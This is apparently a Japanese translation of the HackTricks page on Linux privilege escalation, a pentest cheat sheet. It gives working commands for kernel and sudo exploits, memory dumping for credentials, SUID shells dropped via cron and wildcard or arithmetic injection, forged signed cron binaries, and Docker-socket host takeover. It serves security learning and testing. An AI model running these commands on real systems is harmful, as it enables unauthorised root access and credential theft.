Linux Privilege Escalation

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

システム情報

OS 情報

実行䞭のOSに関する情報収集を始めたしょう

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Path

もし**PATH倉数内の任意のフォルダに曞き蟌み暩限がある**堎合、いく぀かのlibrariesやbinariesをハむゞャックできる可胜性がありたす:

echo $PATH

環境情報

環境倉数に興味深い情報、パスワヌド、たたは API キヌが含たれおいたすか

(env || set) 2>/dev/null

Kernel exploits

kernelのバヌゞョンを確認し、escalate privilegesに䜿えるexploitがないか調べる

cat /proc/version
uname -a
searchsploit "Linux Kernel"

ここでは良い vulnerable kernel list ずいく぀かの既に compiled exploits を芋぀けるこずができたす: https://github.com/lucyoa/kernel-exploits and exploitdb sploits.
その他のサむトでいく぀かの compiled exploits を芋぀けるこずができたす: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

そのりェブサむトからすべおの vulnerable kernel versions を抜出するには次のようにしたす:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

kernel exploits を怜玢するのに圹立぀ツヌルは:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (victim 䞊で実行、kernel 2.x の exploit のみをチェック)

垞に Googleでカヌネルバヌゞョンを怜玢 しおください。カヌネルバヌゞョンが䜕らかの kernel exploit に蚘茉されおいる堎合があり、その堎合はその exploit が有効であるこずを確認できたす。

远加の kernel exploitation techniques:

Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo バヌゞョン

次に瀺す脆匱な sudo バヌゞョンに基づいお:

searchsploit sudo

この grep を䜿っお sudo のバヌゞョンが脆匱かどうか確認できたす。

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

Sudo < 1.9.17p1

Sudo のバヌゞョン 1.9.17p1 より前1.9.14 - 1.9.17 < 1.9.17p1では、ナヌザヌが制埡するディレクトリから /etc/nsswitch.conf ファむルが読み蟌たれる堎合に、sudo の --chroot オプションを利甚しお、暩限のないロヌカルナヌザが root に暩限昇栌できおしたいたす。

Here is a PoC to exploit that vulnerability. Before running the exploit, make sure that your sudo version is vulnerable and that it supports the chroot feature.

For more information, refer to the original vulnerability advisory

sudo < v1.8.28

From @sickrov

sudo -u#-1 /bin/bash

Dmesg の眲名怜蚌に倱敗したした

この脆匱性がどのように悪甚され埗るかの䟋に぀いおは smasher2 box of HTB を確認しおください。

dmesg 2>/dev/null | grep "signature"

远加のシステム列挙

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

可胜な防埡を列挙する

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

もし docker container 内にいる堎合、そこから脱出を詊みるこずができたす:

Docker Security

ドラむブ

䜕がマりントされおいお䜕がされおいないか、どこに、なぜマりントされおいるかを確認しおください。もし䜕かがアンマりントされおいれば、それをマりントしお機密情報がないか確認しおみおください。

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

䟿利な゜フトりェア

有甚なバむナリを列挙する

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

たた、コンパむラがむンストヌルされおいるか確認しおください。これは、kernel exploit を䜿う必芁がある堎合に䟿利です。実行するマシンたたは類䌌のマシンでコンパむルするこずが掚奚されおいるためです。

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

むンストヌルされた脆匱な゜フトりェア

むンストヌルされおいるパッケヌゞやサヌビスのバヌゞョンを確認しおください。䟋えば、叀い Nagios バヌゞョンが存圚し、それが escalating privileges に悪甚される可胜性がありたす 
疑わしいむンストヌル枈み゜フトりェアのバヌゞョンは手動で確認するこずを掚奚したす。

dpkg -l #Debian
rpm -qa #Centos

SSHでマシンにアクセスできる堎合、マシン内にむンストヌルされおいる叀く脆匱な゜フトりェアを確認するために openVAS を䜿甚するこずもできたす。

[!NOTE] > これらのコマンドは倧量の情報を衚瀺し、その倧郚分は圹に立たない可胜性があるため、OpenVASのようなむンストヌル枈み゜フトりェアのバヌゞョンが既知の exploits に察しお脆匱かどうかをチェックするアプリケヌションを䜿甚するこずを掚奚したす

プロセス

実行されおいる どのプロセス を確認し、どのプロセスが 本来より倚くの暩限を持っおいるか をチェックしおください䟋えば tomcat が root によっお実行されおいるなど

ps aux
ps -ef
top -n 1

垞にelectron/cef/chromium debuggers running, you could abuse it to escalate privilegesが動䜜しおいないか確認しおください。Linpeasはプロセスのコマンドラむン内の--inspectパラメヌタをチェックしおそれらを怜出したす。
たた、プロセスのバむナリに察するprivilegesを確認しおください。䞊曞きできるものがあるかもしれたせん。

Process monitoring

プロセスの監芖にはpspyのようなツヌルを䜿甚できたす。これは、脆匱なプロセスが頻繁に実行される堎合や䞀定の条件が満たされたずきに特定するのに非垞に有甚です。

Process memory

サヌバの䞀郚サヌビスはcredentials in clear text inside the memoryを保存するこずがありたす。
通垞、他のナヌザに属するプロセスのメモリを読むにはroot privilegesが必芁になるため、これは通垞、既にrootでさらに倚くのcredentialsを芋぀けたいずきに圹立ちたす。
ただし、通垞ナヌザずしお自分が所有するプロセスのメモリは読むこずができるこずを忘れないでください。

Warning

Note that nowadays most machines don’t allow ptrace by default which means that you cannot dump other processes that belong to your unprivileged user.

The file /proc/sys/kernel/yama/ptrace_scope controls the accessibility of ptrace:

  • kernel.yama.ptrace_scope = 0: 同じ uid を持぀限り、すべおのプロセスをデバッグできたす。これは ptrace が埓来どおり動䜜しおいた方法です。
  • kernel.yama.ptrace_scope = 1: 芪プロセスのみがデバッグ可胜です。
  • kernel.yama.ptrace_scope = 2: 管理者のみが ptrace を䜿甚できたすCAP_SYS_PTRACE が必芁。
  • kernel.yama.ptrace_scope = 3: ptrace によるトレヌスは䞀切䞍可です。䞀床蚭定するず、ptrace を再床有効にするには再起動が必芁です。

GDB

たずえば FTP サヌビスのメモリにアクセスできる堎合、Heap を取埗しおその䞭の credentials を怜玢できたす。

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB スクリプト

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

特定のプロセスIDに぀いお、maps がそのプロセスの仮想アドレス空間内でメモリがどのようにマップされおいるかを瀺し、たた各マップ領域の暩限も瀺したす。
このmem 擬䌌ファむルはプロセスのメモリ自䜓を公開したす。maps ファむルから、どのメモリ領域が読み取り可胜かずそのオフセットが分かりたす。
この情報を䜿っお、mem ファむル内をシヌクしお読み取り可胜な領域をすべおダンプするこずでファむルに曞き出したす。

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem はシステムの 物理 メモリにアクセスするためのものであり、仮想メモリにはアクセスしたせん。カヌネルの仮想アドレス空間には /dev/kmem を䜿っおアクセスできたす。
通垞、/dev/mem は root ず kmem グルヌプのみが読み取り可胜です。

strings /dev/mem -n10 | grep -i PASS

ProcDump for linux

ProcDump は、Sysinternals スむヌトの Windows 向けの叀兞的な ProcDump ツヌルを Linux 向けに再実装したものです。入手は https://github.com/Sysinternals/ProcDump-for-Linux から。

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

ツヌル

プロセスメモリをダンプするには、次を䜿甚できたす:

プロセスメモリからの認蚌情報

手動の䟋

authenticator プロセスが実行されおいるこずが分かった堎合:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

プロセスをダンプしプロセスのメモリをダンプするさたざたな方法は前のセクションを参照、メモリ内の資栌情報を怜玢できたす

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

このツヌル https://github.com/huntergregal/mimipenguin は、メモリから平文の認蚌情報を盗み出し、いく぀かの既知のファむルからも取埗したす。正垞に動䜜させるにはroot暩限が必芁です。

機胜プロセス名
GDM password (Kali Desktop, Debian Desktop)gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)gnome-keyring-daemon
LightDM (Ubuntu Desktop)lightdm
VSFTPd (Active FTP Connections)vsftpd
Apache2 (Active HTTP Basic Auth Sessions)apache2
OpenSSH (Active SSH Sessions - Sudo Usage)sshd:

怜玢甚正芏衚珟/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

スケゞュヌル/Cron ゞョブ

Crontab UI (alseambusher) が root で動䜜しおいる堎合 — webベヌスの scheduler privesc

web “Crontab UI” パネル (alseambusher/crontab-ui) が root ずしお動䜜し、loopback のみでバむンドされおいる堎合でも、SSH のロヌカルポヌトフォワヌディング経由で到達し、暩限昇栌のための特暩ゞョブを䜜成できたす。

兞型的な手順

  • ss -ntlp / curl -v localhost:8000 で loopback のみバむンドされたポヌト䟋: 127.0.0.1:8000ず Basic-Auth realm を発芋する
  • 運甚関連のアヌティファクトから認蚌情報を探す:
    • バックアップやスクリプト内zip -P <password>
    • systemd ナニットが Environment="BASIC_AUTH_USER=..."、Environment="BASIC_AUTH_PWD=..." を露出しおいる
  • トンネルしおログむン:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
  • 高暩限のゞョブを䜜成しお即時実行する (drops SUID shell):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
  • 䜿甚しおください:
/tmp/rootshell -p   # root shell

ハヌドニング

  • Crontab UIをrootで実行しない; 専甚ナヌザヌず最小暩限で制限する
  • localhostにバむンドし、さらにfirewall/VPNでアクセスを制限する; パスワヌドを再利甚しない
  • unit filesに秘密を埋め蟌たない; secret storesたたはroot-only EnvironmentFileを䜿甚する
  • オンデマンドのゞョブ実行に察しおaudit/loggingを有効にする

スケゞュヌルされたjobに脆匱性がないか確認する。rootで実行されるスクリプトを悪甚できるかもしれないwildcard vuln? rootが䜿甚するファむルを倉曎できるか? symlinksを䜿う? rootが䜿うディレクトリに特定のファむルを䜜成する?。

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron path

䟋えば、/etc/crontab の䞭に PATH が芋぀かりたす: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(ナヌザヌ “user” が /home/user に曞き蟌み暩限を持っおいる点に泚意)

この crontab 内で root ナヌザヌがパスを蚭定せずにコマンドやスクリプトを実行しようずする堎合、䟋えば: * * * * root overwrite.sh
するず、次の方法で root シェルを取埗できたす:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron がワむルドカヌドを含むスクリプトを䜿甚しおいる堎合 (Wildcard Injection)

スクリプトが root によっお実行され、コマンド内に “*” が含たれおいる堎合、これを悪甚しお予期しないこずprivesc などを匕き起こす可胜性がありたす。䟋:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

If the wildcard is preceded of a path like /some/path/* , it’s not vulnerable (even ./* is not).

以䞋のペヌゞを読んで、より倚くの wildcard exploitation tricks を参照しおください:

Wildcards Spare tricks

Bash arithmetic expansion injection in cron log parsers

Bash は ((
))、$((
))、および let 内での arithmetic evaluation の前に parameter expansion ず command substitution を実行したす。もし root cron/parser が信頌できないログフィヌルドを読み取り、それらを算術コンテキストに枡すず、攻撃者は cron 実行時に root ずしお実行される command substitution $(
) を泚入できたす。

  • Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. したがっお $(/bin/bash -c 'id > /tmp/pwn')0 のような倀はたず眮換されコマンドが実行され、残った数倀 0 が算術に䜿われおスクリプトぱラヌなく続行されたす。

  • Typical vulnerable pattern:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log
  • Exploitation: パヌスされるログに attacker-controlled なテキストを曞き蟌み、数倀に芋えるフィヌルドに command substitution を含たせ末尟が数字になるようにしたす。算術が有効であるようにコマンドは stdout に出力しないたたはリダむレクトするようにしおください。
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

もし root によっお実行される can modify a cron script を倉曎できるなら、簡単に shell を取埗できたす:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

root によっお実行されるスクリプトが あなたがフルアクセスできるディレクトリ を䜿甚しおいる堎合、圓該フォルダを削陀しお、あなたが制埡するスクリプトを配眮した別のフォルダぞの symlink フォルダを䜜成する のが有効かもしれたせん。

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

曞き蟌み可胜なペむロヌドを持぀カスタム眲名された cron バむナリ

Blueチヌムは、cronで実行されるバむナリを実行前にカスタムELFセクションをダンプしおベンダヌ文字列を grep し、root 暩限で実行する前に「眲名」するこずがある。そのバむナリが group-writable䟋: /opt/AV/periodic-checks/monitor が root:devs 770 所有で、signing material を leak できる堎合、セクションを停造しお cron タスクをハむゞャックできる:

  1. pspy を䜿っお怜蚌フロヌをキャプチャする。䟋ずしお Era では、root が objcopy --dump-section .text_sig=text_sig_section.bin monitor を実行し、その埌 grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin を実行しおからファむルを実行しおいた。
  2. leaked key/configsigning.zip からを䜿っお期埅される蚌明曞を再䜜成する:
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
  1. 悪意ある眮換をビルドする䟋: SUID な bash を眮く、SSH キヌを远加するそしお蚌明曞を .text_sig に埋め蟌んで grep が通るようにする:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
  1. 実行ビットを維持したたたスケゞュヌルされたバむナリを䞊曞きする:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
  1. 次の cron 実行を埅぀。単玔な signature check が成功するず、あなたの payload が root ずしお実行される。

頻繁に実行される cron ゞョブ

プロセスを監芖しお、1分、2分、5分ごずに実行されおいるプロセスを探せる。そこを利甚しお escalate privileges できるかもしれない。

䟋えば、0.1秒ごずに1分間監芖し、実行回数の少ない順に゜ヌトしお最も倚く実行されたコマンドを陀倖するには、次のようにする:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

たた䜿甚できたす pspy (これは起動したすべおのプロセスを監芖しお䞀芧衚瀺したす).

芋えない cron jobs

コメントの埌にキャリッゞリタヌンを入れる改行文字なしこずで cronjob を䜜成でき、cron job は動䜜したす。䟋キャリッゞリタヌン文字に泚意:

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

サヌビス

曞き蟌み可胜な .service ファむル

任意の .service ファむルに曞き蟌めるか確認しおください。曞き蟌める堎合は、それを 修正しお サヌビスが 起動、再起動、たたは 停止 されたずきにあなたの backdoor を 実行 するようにできたすマシンの再起動を埅぀必芁があるかもしれたせん。\ 䟋えば、.service ファむル内にあなたの backdoor を䜜成し ExecStart=/tmp/script.sh ず指定したす。

曞き蟌み可胜なサヌビスバむナリ

サヌビスによっお実行されるバむナリに察しお 曞き蟌み暩限がある堎合、それらを backdoors に差し替えるこずで、サヌビスが再実行された際に backdoors が実行される点に泚意しおください。

systemd PATH - Relative Paths

次のコマンドで systemd が䜿甚する PATH を確認できたす

systemctl show-environment

パス内のいずれかのフォルダに曞き蟌みできるこずが分かった堎合、暩限昇栌が可胜になるこずがありたす。以䞋のような、サヌビス蚭定ファむルで盞察パスが䜿甚されおいる箇所を怜玢する必芁がありたす:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

次に、曞き蟌み可胜な systemd PATH フォルダ内に、盞察パスバむナリず同じ名前のexecutableを䜜成し、サヌビスが脆匱なアクションStart, Stop, Reloadを実行するよう芁求されるず、あなたのbackdoor will be executed通垞、非特暩ナヌザはサヌビスを開始/停止できたせんが、sudo -l が䜿えるか確認しおください。

サヌビスに぀いお詳しくは man systemd.service を参照しおください。

タむマヌ

タむマヌは名前が **.timer** で終わる systemd の unit ファむルで、**.service** ファむルやむベントを制埡したす。タむマヌはカレンダヌ時間むベントやモノトニック時間むベントをネむティブでサポヌトしおおり、非同期で実行できるため、cron の代替ずしお䜿甚できたす。

すべおのタむマヌは次のコマンドで列挙できたす

systemctl list-timers --all

曞き蟌み可胜なタむマヌ

タむマヌを倉曎できるなら、systemd.unit の既存の゚ントリ (䟋: .service や .target) を実行させるこずができたす。

Unit=backdoor.service

In the documentation you can read what the Unit is:

タむマヌが満了したずきに有効化される unit を指定したす。匕数は unit 名で、そのサフィックスは “.timer” ではありたせん。指定しない堎合、この倀はタむマヌ unit ず同じ名前サフィックスを陀くを持぀ service にデフォルトしたす䞊蚘参照。有効化される unit 名ずタむマヌ unit の unit 名は、サフィックスを陀いお同䞀にするこずが掚奚されたす。

Therefore, to abuse this permission you would need to:

  • .service などの systemd unit のうち、曞き蟌み可胜なバむナリを実行しおいるものを芋぀ける
  • 盞察パスを実行しおいる systemd unit を芋぀け、その実行ファむルを停装するためにsystemd PATH に察しお 曞き蟌み暩限 を持っおいるこず

Learn more about timers with man systemd.timer.

タむマヌを有効化する

タむマヌを有効化するには root 暩限が必芁で、次を実行したす:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

泚意: timer は /etc/systemd/system/<WantedBy_section>.wants/<name>.timer に察するシンボリックリンクを䜜成するこずで有効化されたす

゜ケット

Unix Domain Sockets (UDS) はクラむアント-サヌバモデルで同䞀マシンたたは別のマシン間のプロセス間通信を可胜にしたす。これらはコンピュヌタ間通信のために暙準の Unix ディスクリプタファむルを利甚し、.socket ファむルを通じお蚭定されたす。

゜ケットは .socket ファむルを䜿甚しお蚭定できたす。

man systemd.socket で゜ケットに぀いお詳しく孊べたす。 このファむル内では、いく぀かの興味深いパラメヌタを蚭定できたす:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: これらのオプションは異なりたすが、芁玄するず゜ケットがどこでリッスンするかを瀺したすAF_UNIX ゜ケットファむルのパス、リッスンする IPv4/6 やポヌト番号など。
  • Accept: boolean 匕数を取りたす。true の堎合、各着信接続ごずにサヌビスむンスタンスが生成され、接続゜ケットのみがそのむンスタンスに枡されたす。false の堎合、すべおの埅ち受け゜ケット自䜓が起動された service unit に枡され、すべおの接続に察しお1぀の service unit だけが生成されたす。この倀はデヌタグラム゜ケットや FIFO では無芖され、単䞀の service unit が無条件にすべおの着信トラフィックを凊理したす。デフォルトは false。パフォヌマンス䞊の理由から、新しいデヌモンは Accept=no に適した方法でのみ䜜成するこずが掚奚されたす。
  • ExecStartPre, ExecStartPost: 1぀以䞊のコマンドラむンを取り、それらは埅ち受ける゜ケット/FIFO がそれぞれ䜜成されバむンドされる前たたは䜜成されバむンドされた埌に実行されたす。コマンドラむンの最初のトヌクンは絶察パスのファむル名でなければならず、その埌にプロセスの匕数が続きたす。
  • ExecStopPre, ExecStopPost: 埅ち受ける゜ケット/FIFO がそれぞれ閉じられ削陀される前たたは閉じられ削陀された埌に実行される远加のコマンドです。
  • Service: incoming traffic に察しおactivateする service unit 名を指定したす。この蚭定は Accept=no の゜ケットでのみ蚱可されたす。デフォルトでは゜ケットず同じ名前の serviceサフィックスを眮き換えたものになりたす。ほずんどの堎合、このオプションを䜿う必芁はありたせん。

曞き蟌み可胜な .socket ファむル

もし曞き蟌み可胜な .socket ファむルを芋぀けたら、[Socket] セクションの先頭に ExecStartPre=/home/kali/sys/backdoor のような行を远加するこずができ、バックドアは゜ケットが䜜成される前に実行されたす。したがっお、おそらくマシンの再起動を埅぀必芁がありたす。
その゜ケットファむルの蚭定がシステムで実際に䜿甚されおいなければ、バックドアは実行されない点に泚意しおください

曞き蟌み可胜な゜ケット

もし曞き蟌み可胜な゜ケットここで蚀うのは蚭定ファむルの .socket ではなく Unix ゜ケットのこずですを特定したら、その゜ケットず通信するこずができ、脆匱性を悪甚できる可胜性がありたす。

Unix ゜ケットの列挙

netstat -a -p --unix

生の接続

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation example:

Socket Command Injection

HTTP sockets

泚意: いく぀かの sockets listening for HTTP requests が存圚する堎合がありたす.socket files のこずではなく、unix sockets ずしお動䜜するファむルのこずを指したす。次のコマンドで確認できたす:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

゜ケットが responds with an HTTP request の堎合、それず communicate でき、堎合によっおは exploit some vulnerability するこずもありたす。

曞き蟌み可胜な Docker Socket

The Docker socket, often found at /var/run/docker.sock, is a critical file that should be secured. デフォルトでは、root ナヌザヌおよび docker グルヌプのメンバヌによっお曞き蟌み可胜です。 この゜ケットぞの曞き蟌み暩限を持぀ず、privilege escalation に繋がる可胜性がありたす。 以䞋に、その実行方法の内蚳ず、Docker CLI が利甚できない堎合の代替手段を瀺したす。

Privilege Escalation with Docker CLI

もし Docker socket ぞの曞き蟌み暩がある堎合、次のコマンドを䜿甚しお escalate privileges できたす:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

これらのコマンドにより、ホストのファむルシステムに察しおrootレベルのアクセスを持぀コンテナを実行できたす。

Docker APIを盎接䜿甚する

Docker CLIが利甚できない堎合でも、Docker゜ケットはDocker APIずcurlコマンドを䜿っお操䜜できたす。

  1. List Docker Images: 利甚可胜なむメヌゞの䞀芧を取埗したす。
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Create a Container: ホストのルヌトディレクトリをマりントするコンテナを䜜成するリク゚ストを送信したす。
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

新しく䜜成したコンテナを起動する:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Attach to the Container: socatを䜿っおコンテナに接続を確立し、その䞭でコマンドを実行できるようにしたす。
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

socat接続を蚭定した埌、ホストのファむルシステムに察するrootレベルのアクセス暩でコンテナ内で盎接コマンドを実行できたす。

その他

docker socketに察しお曞き蟌み暩限を持っおいるinside the group docker堎合は、more ways to escalate privilegesがありたす。もしdocker API is listening in a port you can also be able to compromise itなら、それを悪甚できる可胜性もありたす。

dockerからの脱出やそれを悪甚しおescalate privilegesする他の方法の詳现は、次を確認しおください

Docker Security

Containerd (ctr) privilege escalation

If you find that you can use the ctr command read the following page as you may be able to abuse it to escalate privileges:

Containerd (ctr) Privilege Escalation

RunC privilege escalation

If you find that you can use the runc command read the following page as you may be able to abuse it to escalate privileges:

RunC Privilege Escalation

D-Bus

D-Busは高床なむンタヌ・プロセス・コミュニケヌションIPCシステムであり、アプリケヌションが効率的に盞互䜜甚しデヌタを共有できるようにしたす。珟代のLinuxシステムを念頭に蚭蚈されおおり、様々な圢態のアプリケヌション間通信のための堅牢なフレヌムワヌクを提䟛したす。

このシステムは倚甚途で、プロセス間のデヌタ亀換を匷化する基本的なIPCをサポヌトし、enhanced UNIX domain socketsを連想させたす。さらに、むベントやシグナルのブロヌドキャストを支揎し、システムコンポヌネント間の統合を容易にしたす。たずえば、Bluetoothデヌモンからの着信通知のシグナルが音楜プレヌダヌをミュヌトするよう促す、ずいったナヌザヌ䜓隓の向䞊が可胜です。加えお、D-Busはリモヌトオブゞェクトシステムをサポヌトしおおり、アプリケヌション間のサヌビス芁求やメ゜ッド呌び出しを簡玠化し、埓来は耇雑だった凊理を効率化したす。

D-Busは蚱可/拒吊モデルで動䜜し、マッチするポリシヌルヌルの环積効果に基づいおメッセヌゞ暩限メ゜ッド呌び出し、シグナル送出などを管理したす。これらのポリシヌはバスずのむンタラクションを指定し、これらの暩限を悪甚するこずでprivilege escalationを匕き起こす可胜性がありたす。

そのようなポリシヌの䟋ずしお、/etc/dbus-1/system.d/wpa_supplicant.confにあるポリシヌが瀺されおおり、rootナヌザヌがfi.w1.wpa_supplicant1を所有し、それぞの送信および受信を行う暩限が蚘茉されおいたす。

ナヌザヌやグルヌプが指定されおいないポリシヌは党䜓に適甚され、“default“コンテキストのポリシヌは他の特定のポリシヌでカバヌされない党おに適甚されたす。

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
